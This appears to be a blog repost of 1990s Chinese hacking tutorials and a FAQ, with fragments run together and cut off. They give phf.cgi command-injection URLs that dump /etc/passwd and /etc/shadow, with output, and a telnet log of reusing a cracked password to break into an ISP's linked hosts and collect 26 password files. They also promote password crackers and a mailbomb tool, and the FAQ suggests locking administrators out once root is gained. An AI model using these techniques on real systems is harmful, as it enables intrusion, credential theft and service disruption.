
[Q20]
請問我ISP的OS是SunOS5.4,我用貴站上的方法不好用了,用貴站關於shadow的link上提
到的也不成了,要如何取得其shadow過的passwd呢?請賜教,多謝!
[A20]
喔~~ 對了! 剛才忘了講, 如果各位已經試過幾個 Port, 解自己系統的版本編號, 使用
的 Sendmail 版本, ftp 版本等的話, 你們可以到 http://underground.org 去看看, 點
選左邊那個 Bugs, 然後選一下你所知道的系統, 他會列出一些目前所知的 Bugs 出來, 然
候你就可以依樣畫葫蘆啦, 不過那些訊息都是英文的啦~~

Posted by DeepSe@ at 痞客邦 PIXNET 留言(3) 引用(0) 人氣()

這不是一個教學文件, 只是告訴你該如何破解系統, 好讓你能夠將自己的系統作安全的保護, 如果
你能夠將這份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦, 我是 CoolFire, 寫
這篇文章的目的是要讓大家明白電腦安全的重要性, 並不是教人 Crack Password 若有人因此文件
導致惡意入侵別人的電腦或網路, 本人概不負責 !!

在昨天, 我們的首頁造訪人數破萬了~~ 應該是增加了很多人, 而不是有人故意灌水的吧? 希望新
朋友們能喜歡我們的內容, 有人問到: 有沒有跟我們首頁性質相近的中文站台? 很遺憾的是目前
我還沒有找到.... 看得到的大多是軟體, 註冊機之類的破解站台. 如果你也有這樣的站台的話,
歡迎你寫信給我們進行連結. 有很多網友報怨檔案抓不下來, 先前我們已經盡了很大的努力將檔
案放在國內 Server 中, 我想, 由 HiNet 連這邊應該很快吧? 還是水管塞住的問題?? 如果有人
的位址在 .edu.tw 附近的, 歡迎來信要求 Mirror~~ 我很樂意將檔案 Mirror 給你, 讓其它網
友更方便取這些檔案.

好久沒有再弄出一些文章出來了, 不過最近倒是回了蠻多關於 Hacker 方面的問題, 也收到了許多
的回應信件, 有許多的問題在這一篇文章中都會有答案, 甚至到現在還有很多的網友們詢問甚麼
是 shadow password 的, 請各位多翻翻以前的文章吧!! 在 CGI Holes 方面的問題也很多, 所以在
這一篇之後我會找個時間寫一寫 System Holes #2 來讓大家對一些網路上常見的程式漏洞有一些基
本的認識.

最近有許多軟體更新了, 最令我們注意的當然就是 NT 4.0 羅, 因為它的更新肯定會帶來很多的
人更新系統, 當然這樣先進的作業系統我們還是很期待有人會很快的將它的 Bugs 找出來的啦!!
UpYours 這套重量級的 MailBomb 也出現的新的版本, 這次的 V4.0 Beta 2 經試用後發現實在是
改進了很多, 但是相對的危險性也跟著提高, 其改用 Delphi 來設計, 使得安裝更為方便, 不過
美中不足的是 beta2 的版本有些功能尚未改好, 光看到功能就讓人哈翻了~~:) 這套 beta2 的版
本目前在我們的首頁上可以找得到, 相信它的正式版本很快就會完成~~

關於 MailBomb: 我們的首頁上所提供的 MailBomb 僅供大家作為測試用, 請勿拿來開玩笑或是對別人
的信箱進行轟炸, 日前此類事件造成某些的 ISP 當機, 慎至還有導致 Mail Server 記憶體不足的情
況 (哪個人這麼狠??), 我們也發現最近網路越來越慢了, 因為水管上積了太多要跟我們搶寬度的垃圾
信件. 請大家以學習的心來使用這些 Bombs... 不要沒事就拿來炸人好嗎 ?? Then enjoy new one~

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
[CGI Hole (phf.cgi) 的延伸]

這次的主題想了好久, 一直都沒有想到, 不過日前有一個屋漏偏逢連夜雨的某國營事業, 在幾經下X雨
及漏X的風波之後, 在他們的主機上發現了很好玩的狀況, 原本我們在使用 phf.cgi 來抓 /etc/passwd
的時候, 在 Browser 的 Location 中是下:

http://www.somewhere.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Query Results

/usr/local/bin/ph -m alias=x /bin/cat /etc/passwd

root:x:0:1:0000-Admin(0000):/:/sbin/sh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nadm:x:45:2::/usr/bin:/sbin/sh
iuucp:x:46:5::/usr/lib/uucp/uucico:/sbin/sh
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
gopher:x:100:1::/usr/local/bin:/usr/local/bin/GopherUserScript
news:x:105:100::/usr/local/etc/innd:/usr/lib/rsh
ftp:x:106:101:Anonymous FTP:/export/ftp:/bin/false
hanshin:x:109:1::/home1/hanshin:/usr/lib/rsh
dayeh:x:110:1::/home1/dayeh:/usr/lib/rsh
ming:x:133:1::/home1/ming:/usr/bin/ksh
charlesl:x:139:1::/home1/charlesl:/usr/lib/rsh
iiimail:x:142:6::/home/iiimail:/usr/lib/rsh
charles.lo:x:156:1::/home1/charles.lo:/usr/lib/rsh
webmaster:x:161:1::/home1/webmaster:/usr/lib/rsh
mark:x:171:1::/home1/mark:/usr/lib/rsh
jcteam:x:172:1::/home1/jcteam:/usr/lib/rsh
ibgchen:x:224:1::/home1/ibgchen:/usr/lib/rsh

但是如果沒有, 或是 shadow 的話, 你可能會接著試:

http://www.somewhere.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/shadow

Query Results

/usr/local/bin/ph -m alias=x /bin/cat /etc/shadow

但是有時候雖然 phf.cgi 這個程式的漏洞沒有被補上, 還是有很多的機器不理會這個指令, 不過當這
個指令生效, 但是你看到的卻是一個 shadow 過的 passwd 的時候, 請不要灰心, 因為這台機器已經在
你的手中了, 為甚麼呢 ?? 我們來玩看看一些簡單的 Unix shell command 你就會知道了~~

http://www.somewhere.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20-l%20-a%20/etc

Query Results

/usr/local/bin/ph -m alias=x /bin/ls -l -a /etc


total 466
-rw-r--r-- 1 root root 38 May 2 1996 #etcnamed.boot#
-rw-r--r-- 1 root root 20579 May 1 1996 #sendmail.cf#
drwxr-xr-x 11 root root 2048 Apr 17 13:07 .
drwxr-xr-x 24 root root 1024 Mar 26 08:16 ..
-rw-r--r-- 1 root root 2167 Aug 24 1995 DIR_COLORS
-rw-r--r-- 1 root root 15 May 1 1996 HOSTNAME
-rw-r--r-- 1 root root 4 Feb 24 1993 NETWORKING
-rw-r--r-- 1 root root 48 Dec 30 1994 NNTP_INEWS_DOMAIN
-rw-r--r-- 1 root root 0 May 13 1994 at.deny
drwxr-xr-x 2 root root 1024 Apr 11 1996 backups
-rw-r--r-- 1 root root 1212 Jul 10 1993 bootptab
-rw-r--r-- 1 root root 0 Feb 15 1994 csh.cshrc
-rw-r--r-- 1 root root 893 Apr 12 1996 csh.login
drwxr-xr-x 2 root root 1024 Apr 16 1996 default
-rw-r--r-- 1 root root 154 Aug 21 1994 exports
-rw-r--r-- 1 root root 0 May 13 1995 fastboot
-rw-r--r-- 1 root root 1118 Jan 28 1994 fdprm
drwxr-xr-x 2 root root 1024 Apr 12 1996 fs
-rw-r--r-- 1 root root 250 Dec 9 19:19 fstab
-rw-r--r-- 1 root root 242 Dec 5 13:55 fstab~
-rw-r--r-- 1 root root 1915 Jan 27 07:46 ftpaccess
-rw-r--r-- 1 root root 368 Aug 1 1994 ftpconversions
-rw-r--r-- 1 root root 0 Aug 9 1994 ftpgroups
-rwxr-xr-x 1 root root 50 May 1 1996 ftponly
-rw-r--r-- 1 root root 501 Apr 26 1996 ftpusers
-rw-r--r-- 1 root root 76 Aug 21 1994 gateways
-rw-r--r-- 1 root root 669 May 19 1994 gettydefs
-rw-r--r-- 1 root root 291 Jun 6 1996 group
-rw-r--r-- 1 root root 27 Jul 7 1994 host.conf
-rw-r--r-- 1 root root 628 Jul 12 1996 hosts
-rw-r--r-- 1 root root 600 Jan 6 10:18 hosts.allow
-rw-r--r-- 1 root root 341 May 9 1996 hosts.deny
-rw-r--r-- 1 root root 313 Mar 16 1994 hosts.equiv
-rw-r--r-- 1 root root 302 Sep 23 1993 hosts.lpd
-rw-r--r-- 1 root root 653 Apr 24 1996 hosts~
lrwxrwxrwx 1 root root 1 Apr 12 1996 inet -> .
-rw-r--r-- 1 root root 3677 Jan 6 10:20 inetd.conf
-rw-r--r-- 1 root root 3664 Apr 23 1996 inetd.conf~
-rw-r--r-- 1 root root 2351 Apr 18 1996 inittab
-rw-r--r-- 1 root root 2046 Jul 28 1994 inittab.gettyps.sample
-rw-r--r-- 1 root root 27 Apr 17 12:43 issue
-rw-r--r-- 1 root root 3 Apr 17 12:43 klogd.pid
-rw-r--r-- 1 root root 1223 Apr 17 12:43 ld.so.cache
-rw-r--r-- 1 root root 71 Aug 14 1995 ld.so.conf
drwxr-xr-x 2 root root 1024 Apr 12 1996 lilo
-rw-r--r-- 1 root root 479 Apr 13 1996 lilo.conf
-rw-r--r-- 1 root root 479 Apr 13 1996 lilo.conf.bak
-rw-r--r-- 1 root root 266 Apr 17 12:42 localtime
-rw-r--r-- 1 root root 76873 Oct 17 1995 magic
-r--r--r-- 1 root root 105 May 8 1994 mail.rc
-rw-r--r-- 1 root root 14 Apr 17 12:43 motd
drwxr-xr-x 2 root root 1024 Aug 1 1994 msgs
-rw-r--r-- 1 root root 151 Apr 17 20:43 mtab
-rw-r--r-- 1 root root 833 Jun 29 1994 mtools
-r--r--r-- 1 root root 974 Apr 17 11:48 named.boot
-r--r--r-- 1 root root 2568 May 2 1996 named.boot,v
-r--r--r-- 1 root root 764 Mar 8 16:54 named.boot.v1
-r--r--r-- 1 root root 813 Mar 17 08:45 named.boot.v2
-r--r--r-- 1 root root 521 Apr 18 1996 named.boot.~1.3~
-r--r--r-- 1 root root 566 Apr 19 1996 named.boot.~1.4~
-r--r--r-- 1 root root 566 Apr 19 1996 named.boot.~1.5~
-r--r--r-- 1 root root 707 Mar 5 08:32 named.boot.~1.6~
-rw-r--r-- 1 root root 566 Apr 19 1996 named.boot~
-rw-r--r-- 1 root root 235 May 1 1996 networks
-rw-r--r-- 1 root root 237 Apr 24 1996 networks~
-rw-r--r-- 1 root root 0 May 8 1995 nntpserver
-rw-r--r-- 1 root root 36 Sep 12 1994 organization
-rw-r--r-- 1 root root 1727 Apr 17 13:07 passwd
-r--r--r-- 1 root root 1662 Apr 17 13:06 passwd-
-rw-r--r-- 1 root root 1715 Apr 17 13:06 passwd.OLD
-rw-r--r-- 1 root root 1494 Feb 12 14:22 passwd.old
-rw-r--r-- 1 root root 1354 Jun 6 1996 passwd~
drwxr-xr-x 2 root root 1024 Jul 9 1994 ppp
-rw-r--r-- 1 root root 2240 May 20 1994 printcap
-rw-r--r-- 1 root root 1083 Apr 12 1996 profile
-rw-r--r-- 1 root root 595 Aug 21 1994 protocols
drwxr-xr-x 2 root root 1024 Jan 3 23:59 rc.d
-rw-r--r-- 1 root root 41 May 1 1996 resolv.conf
-rw-r--r-- 1 root root 65 Jan 31 1996 resolv.conf~
-rw-r--r-- 1 root root 743 Aug 1 1994 rpc
-rw-r--r-- 1 root root 87 Jun 6 1996 securetty
-r--r--r-- 1 root root 20579 May 1 1996 sendmail.cf
-r--r--r-- 1 root root 21332 May 1 1996 sendmail.cf,v
-rw-r--r-- 1 root root 20541 Apr 13 1996 sendmail.cf~
-rw-r--r-- 1 root root 408 Apr 25 17:17 sendmail.st
-rw-r--r-- 1 root root 5575 Aug 1 1994 services
-rw-r--r-- 1 root root 68 Jun 6 1996 shells
drwxr-xr-x 3 root root 1024 Nov 13 1994 skel
-rw-r--r-- 1 root root 314 Jan 10 1995 slip.hosts
-rw-r--r-- 1 root root 342 Jan 10 1995 slip.login
-rw-r--r-- 1 root root 455 Aug 1 1994 snooptab
-rw------- 1 root users 524 Jul 18 1996 ssh_host_key
-rw-r--r-- 1 root users 327 Jul 18 1996 ssh_host_key.pub
-rw------- 1 root users 512 Mar 10 09:03 ssh_random_seed
-rw-r--r-- 1 root users 607 Jul 18 1996 sshd_config
-rw-r----- 1 root root 501 Apr 26 1996 syslog.conf
-rw-r--r-- 1 root root 3 Apr 17 12:43 syslog.pid
-rw-r--r-- 1 root root 183942 Aug 9 1995 termcap
-rw-r--r-- 1 root root 126 Nov 24 1993 ttys
lrwxrwxrwx 1 root root 13 Apr 12 1996 utmp -> /var/adm/utmp
drwxr-xr-x 2 root root 1024 Aug 25 1995 vga
lrwxrwxrwx 1 root root 13 Apr 12 1996 wtmp -> /var/adm/wtmp
-rw-r--r-- 1 root root 76 May 8 1995 yp.conf.example
lrwxrwxrwx 1 root root 7 Apr 12 1996 zprofile -> profile

上面的 %20 所代表的是 [Space] 也就是空白鍵啦! 那上面這個 Location 就如同我們已經 Telnet 到
這台機器上, 下了: ls -l -a /etc 這個指令一樣, 嗯... 也就是說....$^^*^$@@#
OK! 當你抓 /etc/passwd 所抓到的是 shadow 過的 passwd 檔, 你一定會要抓真正的 shadow 檔來作
"配對" 的動作... 所以呢, 下了 ls 指令來找找看到底真的 shadow 是藏在哪裡, 當然你可以看的不
只是 /etc 這個目錄, 任何目錄你都可以看, 當然你可以使用的也不只是 cat 及 ls 這兩個指令, 你
可以用更多的指令~~ 那麼還有甚麼作不到的呢 ??? 我想可能還是有很多哩~~ 因為 phf.cgi 好像只
把你所下的指令丟給 shell 後直接攔下它輸出的結果, 也就是如果像是 /bin/passwd userid 這樣的
指令就不能用~ 因為它會要等你輸入下一個字串~~ 除非先寫入一個檔案, 然後用來代入 "<".. 嗯..
最近很忙, 沒有空作這些無聊事, 不過 phf.cgi 還真的蠻好玩的, 我已經試了好幾台機器都可以看到
文件內容及檔案, 目錄... 當然~ 沒有破壞就是了~~

經過這樣的說明, 你是不是有些 Idea ?? 還是記起以前有試過其它的機器的 phf.cgi 也可以這樣子
玩的 ?? 嗯~ 再連過去玩玩看吧! 發揮一下你的想像力~~ /etc/passwd 很容易就可以得手的喔~~ 對
了~ 不要亂搞政府機關 or 你們的學校啦!!~~
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
[Crack 工具介紹] John the Ripper V1.4 [Size:743K]

記得先前一直介紹大家使用 CJack V1.4 來破解密碼檔, 那是因為它 "夠快", 在 Encrypt 的速度及
比對的速度上實在快了很多, 但是之後由於很多網友的作業環境是在 Windows 95 之下, 所以 Jack
不能跑, 我們就介紹大家使用 John the Ripper V1.1 這個 Passwrod Cracker~ 現在這套 Cracker
出了新的版本了, 經過我們的試用覺得應該好好的為它介紹一番, 原來一直聲稱速度上比 CJack14
還要快的 John, 經過實際上的測試, 總感覺速度沒有 Jack 來得快, 雖然作者聲稱是因為他們這支
程式是以 486 機器作最佳化的, 在 386 上跑起來會比較慢, 但是舊的 V1.1 實在是比 Jack 還要慢
這也是大家都看得到的事實.

而 1.4 版在 EnCrypt 上實在是下了點功夫, 也對 Win32 版本有了支援, 當你下載解開後會發現裡
面有 DOS.ZIP WIN32.ZIP SOURCE.TGZ 這三個檔, 分別是在 DOS 下使用的版本, Win95,NT 下使用的
版本及 Unix 下使用的版本, 這時針對你所運用的作業環境作個選擇, 將檔案解開即可直接使用.

你還要再解開 COMMON.ZIP(共用檔) 及 DOC.ZIP(說明檔), 經過測試速度上明顯提升很多, 但是我不
敢講它比 Jack 要快多少, 至少在我的 Pentium 133 的機器上跑起來覺得差不多, 也沒有誰比較快
誰比較慢的感覺~~ 不過以這樣的檔案大小 (7xxK) 能同時包含三種作業系統, 實在是不錯的選擇!!

當然這個程式裡面只含了一個小小的字典檔供你測試, 想要發揮它最大的效能還是先要有一個不錯的
字典檔, 但是新的版本中可以讓你設定自動產生序數及字串比對(之前的好像也有吧?), 至於如何操
作, 我想他跟 Jack 及前一版本的操作方法相同, 就不用再多作介紹了~~ 以下是它的執行畫面:

John the Ripper Version 1.4 Copyright (c) 1996,97 by Solar Designer

Usage: john [flags] [passwd files]
Flags: -pwfile:[,..] specify passwd file(s)
-wordfile: -stdin wordlist mode, read words from or stdin
-rules enable rules for wordlist mode
-incremental[:] incremental mode [using john.ini entry ]
-single single crack mode
-external: external mode, using john.ini entry
-restore[:] restore session [from ]
-makechars: make a charset, will be overwritten
-show show cracked passwords
-test perform a benchmark
-users:[,..] crack this (these) user(s) only
-shells:[!][,..] crack users with this (these) shell(s) only
-salts:[!] crack salts with at least accounts only
-lamesalts assume plaintext passwords were used as salts
-timeout:

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

這不是一個教學文件, 只是告訴你該如何破解系統, 好讓你能夠將自己的系統作安全的保護, 如果
你能夠將這份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦, 我是 CoolFire, 寫
這篇文章的目的是要讓大家明白電腦安全的重要性, 並不是教人 Crack Password 若有人因此文件
導致惡意入侵別人的電腦或網路, 本人概不負責 !!

各位新年還愉快嗎 ?? 有沒有人過年還死守著電腦的呀~~ 該出去活動活動羅~~ 當然, 過完了年我
們有有新的功課要作羅, 在過年前有一位網友 Mail 了一份 passwd 過來, 我也因此找到了某家站台
的密碼, 經深入研究過之後, 決定產生這一篇文章, 大家先熱身一下吧!! 等一下就會有好戲喔~~


本次主題: 善用你所得到的任何資訊 (Exm: HOSTS 檔)
連接位址: xxx.xxx.xxx.xxx (又馬賽克啦)
特別說明: 因為該站台是一個 "很大" 的 網路提供者, 其服務地區遍及全亞, 所以必須要特別以馬
賽克來處理, 希望網友們不要介意 (咱們重的是內容嘛!! 又不是.. 那個.. 那個).

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

**** 課程開始 ****

首先說明的是, 這個網路提供者的服務項目, 包含了撥接及傳真還有幫其它業者架設網路等, 也就是
說如果我們能夠善用他們的系統就可以免費傳真羅 ?? 哇哩... 國際傳真耶, 這間公司不就虧大了!!!!!
所以馬賽克處理是必要的, 不過這次的課程不是說明這個 ISP 夠大, 而是我們如何利用一組已經破
解的密碼來入侵其它與其相連的主機, 這點是比較重要的!!

大家可能早就已經知道, 在 Unix 系統中 /etc 目錄下的 hosts 檔案的作用了, 我們今天就來談談, 知道的
人跳過去吧!! 如果使用 Windoz 95 的人, 也可以看看在你 95 的系統目錄中也有一個這樣子的檔案, 他
是長得像這個樣子的: 127.0.0.1 localhost FETAG , 表示 127.0.0.1 為 LocalHost 也就是 FETAG 的電
腦, 所以我們要找與該 Unix 有 "直接關係" 的主機可以由這個地方找到.

找到這些主機有甚麼用呀 ?? 繼然你已經有了一個主機的密碼, 當然其它的主機也可能會有相同的
User 在其它的主機上用同樣的帳號, 而且依據經驗來說, 他們在其它主機上的密碼通常都跟你目前所
擁有的這一份是一樣的, 也就是你可以用同樣的一組密碼遊走於其它的主機!! 以下示範的這個例子就
是啦!!

www:/etc$ telnet Superman.com.tw
Trying 222.111.111.111...
Connected to Superman.com.tw.
Escape character is '^]'.

Linux 1.2.8 (Superman.Superman.com.tw) (ttyp0)
(甚麼爛公司, 新版系統的 Bug 少多了, 還不更新~~~)


Superman login: amywang
Password:

(用你所知道的密碼進入)

Linux 1.2.8. (POSIX).
You have new mail.

(不要偷看人家的信喔)

Superman:~$ cd /etc
Superman:/etc$ cat hosts

(直接深入今天的主題)

# For loopbacking.
127.0.0.1 localhost

222.111.247.1 router
222.111.247.2 abcdf01.tpfoo.Superman.com.tw abcdf01 f01
222.111.247.3 abcdf02.tpfoo.Superman.com.tw abcdf02 f02
222.111.247.4 abcdf03.tpfoo.Superman.com.tw abcdf03 f03
222.111.247.5 abcdf04.tpfoo.Superman.com.tw abcdf04 f04

207.121.0.15 abcdhk1.planet.com.hk abcdhk1 hk1

222.111.248.2 abcdf11.tcfoo.Superman.com.tw abcdf11 f11

222.111.248.3 abcdf12.tcfoo.Superman.com.tw abcdf12 f12
222.111.248.4 abcdf13.tcfoo.Superman.com.tw abcdf13 f13

222.111.248.131 abcdf21.ksfoo.Superman.com.tw abcdf21 f21
222.111.248.132 abcdf22.ksfoo.Superman.com.tw abcdf22 f22
222.111.248.133 abcdf23.ksfoo.Superman.com.tw abcdf23 f23
222.111.248.134 abcdf24.ksfoo.Superman.com.tw abcdf24 f24

222.111.247.33 abcdf01-s1.Superman.com.tw abcdf01-s1 f01-s1
222.111.247.33 abcdf02-s1.Superman.com.tw abcdf02-s1 f02-s1
222.111.247.34 abcdts2-s2.Superman.com.tw abcdts2-s1 ts2-s1

222.111.247.193 abcdf11-s1.Superman.com.tw abcdf11-s1 f11-s1
222.111.247.193 abcdf12-s1.Superman.com.tw abcdf12-s1 f12-s1
222.111.247.194 abcdts1-s1.Superman.com.tw abcdts1-s1 ts1-s1

222.111.247.73 abcdf21-s1.Superman.com.tw abcdf21-s1 f21-s1
222.111.247.197 abcdf22-s1.Superman.com.tw abcdf22-s1 f22-s1
222.111.247.198 abcdts1-s2.Superman.com.tw abcdts1-s2 ts1-s2

222.111.247.201 abcdus1-s1.Superman.com.tw abcdus1-s1 us1-s1
222.111.247.77 abcdus2-s1.Superman.com.tw abcdus2-s1 us2-s1
222.111.247.78 abcdts1-s3.Superman.com.tw abcdts1-s3 ts1-s3

222.111.247.133 abcdts1-l0.Superman.com.tw abcdts1-l0 ts1-l0
222.111.248.10 abcdts2-l0.Superman.com.tw abcdts2-l0 ts2-l0

#206.222.170.2 abcdus1.Superman.com.tw abcdus1 us1
#206.222.170.3 abcdus2.Superman.com.tw abcdus2 us2
206.222.170.4 abcdus3.Superman.com.tw abcdus3 us3
206.222.170.5 abcdus4.Superman.com.tw abcdus4 us4
206.222.170.7 abcdus1+.Superman.com.tw abcdus1+ us1+ us1
206.222.170.6 abcdus2+.Superman.com.tw abcdus2+ us2+ us2


222.111.247.131 linux01.Superman.com.tw linux01 x01
222.111.247.135 linux03.Superman.com.tw linux03
222.111.247.151 linux04.Superman.com.tw linux04 x04
222.111.247.132 linux02-l0.Superman.com.tw linux02 x02
222.111.111.111 Superman.Superman.com.tw Superman
222.111.27.153 pc3.Superman.com.tw abcdpc3 pc3
222.111.27.152 pc2.Superman.com.tw abcdpc2 pc2
222.111.27.147 brian.Superman.com.tw brian brian
222.111.27.148 linuxpc.Superman.com.tw linuxpc hsliao
220.65.11.1 knet01
203.127.230.243 fooServer.warpdrive.com.sg sgp02
# End of hosts

(我已經盡量在馬賽克了!! 如果有沒有馬賽克完全的地方, 請該網路業者見諒)
(因為是 Telnet LogFile 直接收錄的嘛~~ 唉.. 誰叫你的系統這麼脆弱~~)

Superman:/etc$ telnet 220.65.11.1
Trying 210.65.33.2...
Connected to 210.65.33.2.
Escape character is '^]'.

Linux 1.2.8 (snet01) (ttyp2)


knet01 login: amywang
Password:

Linux 1.2.8. (KNET01).
You have new mail.

(進來了! 就是這樣啦!!!!!!)

用了這種方法對該主機所連接的各點作測試, 找到了一個可以使用所有主機的帳號及密碼檔案, 我
用這個帳號抓了 26 台主機的 /etc/passwd, 現在我的機器還在使用 CJack 對這 26 個密碼檔解碼中, 如
果有更進一步的消息, 我們會在下一篇的時候一併討論, 當然這個方法不僅適用於這間公司, 對其它
的主機也都適用, 這間公司的規模應算不小了, 台灣; 香港; 日本都有分公司的樣子, 不過也都.... 呵~

以上就是 hosts 檔的妙用了!! 可能在此篇發表之後大家都用 DNS 了, 而不再編輯 hosts 檔了~~~ 不過
這個檔案也可以鎖起來呀~~ 限定只有 root 可以用嘛! 反正一些爛 ISP 不是都這樣, 一有安全顧慮就
限定使用者的使用... 老套了啦!! 你還是會有其它的漏洞的... Linux 1.2.8 哈哈~~~ 多的是漏洞哩!!!!
就算你把 hosts 也鎖起來, passwd 也 shadow.. 還是有一大堆的地方是歡迎大家進入的~~~

嗯.. 沒有挑釁的意思啦~~ 各位親愛的網路提供者... 請將您的系統加鎖, 以免有任何不測. 上次我們說
的那個 ISP (WWW Server 有漏洞的那個), 這次已經將 root 的密碼改掉了, 但是還是留下許多 User 的
密碼沒有改, Password 檔也沒有作任何的保護, 對於這樣的業者, 哪一家公司的 Home Page 敢放在上面
呢 ?? 被人亂改一通不是破壞了公司的形像嗎 ??

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

**** 又是字典檔 ****

這次字典檔的部份不再多談了, 講講上一次的一點漏失, 由於上次寫出來的程式太多地方沒有先作
考慮, 所以用起來怪怪的 !! 再加上很多的功能沒有加上的關係, 有很多網友反映出來的問題多在自
己操作上的錯誤, 呵~~ 怪寫程式的人沒有作好一些檢查的動作嘛~~

所以 CoolFire 決定將上次那個鳥程式重新寫過, 配合排序及檢查重覆的功能來使用, 預計由今天晚
上開始動工寫出字典檔的產生器, 這樣才對各位網友們有個交待, 喝呵... 不過網友們別抱著太大的
希望, 因為 James 的 LetMeIn! 2.0 也還在大家的期盼下久久未見, 每天加班的他也實在沒甚麼時間,
CoolFire 能在甚麼時候寫好, 也是未知數. 不過請各位 Mail 給我你對此字典檔產生器的意見, 還有
你希望它能在甚麼作業系統下動作 ?? DOS ?? Windoz ??

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

**** 首頁更新通知 ****

上一次的通知有點早, 因為只改了小部份, 日後將不對小部份的更動作任何的通知, 僅對大更動通知,
不過還是請各位有空的時候上來多看看, 以免你在努力的時候別人已經看過了所有的 Hole List 也將
漏洞補上了! 努力是會有成果的!!

CoolFire 想在板上放個 Crack 心得留言板 ! 有沒有人有意見的 ??? 留信給我~

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

**** CoolFire FAQ ****

實在很想幫大家解決問題, 但是請不要寄來 "請幫我 Crack xxx ISP" 的信件, 如果我們的 Home Page 有
甚麼問題, 或是你在 Crack 所遭遇到的問題, 歡迎大家來信討論!! Harlem Liang 網友所建議的 StarKrack
也是一個不錯的 Password Crack 軟體, 請大家也幫忙試試喔~~~~

[Q1]你在 Coolhc~4 中講到 Shadow.c 可以用 unix 裡的 cc 指令 但如何 Keyin 例如: ms.hinet.net/harlem/>CC
之後呢?
[A1]在 Unix 系統中下以下的指令: cc -o deshadow shadow.c 最後所產生出來的 deshadow 就是執行檔名了
Unix 是一個不錯的系統, 尤其是想要學習 Crack Password 或入侵的中H都一定躑n經過這個門檻, 大
家可以多看看一些有關 Unix 的書籍, 當然 c 語言也是其必須的羅~~~:)

[Q2]deshadow 是在 Unix 下執行,還是在Dos下執行, 用 C 語言可不可以轉換? 可不可以把shadow
的 passwd拿回來再轉換?
[A2]呵~~ 既然 /etc/passwd 已經 shadow 了! 你拿回來的當然是沒有用的密碼檔, 只能知道其 user 的名字
而已, 所以如果要拿回來 Crack 當然是不可能的, 而 DeShadow 是針對 Unix 系統的漏洞所設計的,
且只能在 Unix 上嘗試 DeShadow.. 故請在 Unix 上 Compiler 再執行, 當然有些系統可能已經將漏洞
補上了, 或因為網路安全的問題不提供使用者編譯檔案, 那就只好使用其它方法羅~~~:)

[Q3]我找到root的密碼了! 用kOS的字典檔XXXX的etc/passwd 用Star Cracker, 只花了1小時30分 就找到了!
找到root的密碼可以做甚麼呢? 你有沒有用kOS crack XXXX的 passwd 花了多久time?
[A3]哇 !! 恭喜你羅!(注: XXXX 部份為 "馬賽克" ) 找到 root 的密碼後能作甚麼 ??? 呵.. 隨便你羅, 想要
作甚麼就作甚麼, 當然可以更進一步的得到更多的東西, 你可以任意修改系統(小心觸法), 也可以
在心情不好的時候把系統 "關" 起來, 不讓別人上線, 亦可以更改 root 的密碼, 讓他們的 root 沒有辦
法維護系統, 反正系統是你的了! 問我能作甚麼 ?? 我也不能回答你..... :) 我當然也 Crack 過, 不過
時間嘛... 沒算, 因為我都是用好幾台電腦在跑的 (利用下班時間), 所以操作環境跟你不同羅!!

[Q4]看hopenet知道linux的bin/login中有一個很大漏洞可以取得root 的權限是怎麼一回事呢?
[A4]該文章附有一 URL 位址, 請連上去看看後就知道了, 現在也有許多人討論這些東西, 不過很多公司
用的 Linux 都還是 1.x.x 版的, 很好 Crack... 試試吧! 保證你會愛上它~~ 呵~

[Q5]Cyberspace是什麼樣的組織?
[A5]嗯 ?? 連這種問題都有人問呀~~~ 請到 www.cyberspace.org 看看就知道羅~~~

[Q6] I have a question for the 'GZ' file format.
[A6]對呀!! 放了字典檔的連結在首頁上就出現了很多問 .z .gz 檔要怎麼解的問題了, 我的系統
安裝了 Winzip, Pkunzip, Gzip 後 .z .gz 就變成 Winzip 可解的檔案了, 知道該怎麼辦了吧~~

[Q7]我日前從你的站台連至GlobalKOS下傳jack14的輔助工具, 不過我的連線速度太慢,所以一直
抓不回來,你可以 mirror 回來嗎?
[A7]這種問題我也只好 Say "SORRY" 羅, 我們的首頁上已經放了很多東西了, 而且也都是開放讓
同好們 "免費" 參觀及抓取 (絕不收費啦!!), 且一個 kOS 就要 1.xxMB 那麼大, 我基於要放更
多東西的關係提供了一個 Hot Link 在上面, 請各位 "努力" 吧!! 不然換條線試試, 你用的可能
是學術網路吧!! 可不可以在非巔鋒時間抓呢?? 還是弄個 ftp Server 幫你抓, 信箱夠大的話可
以用 Mail FTP... 等, 都可以達到你的目地的~~~:)

[Q8]我去找到了一個站的密碼檔,之後我執行JACK卻出現 Virtual mode not supported without VCPI
的訊息,請問是什麼錯誤?
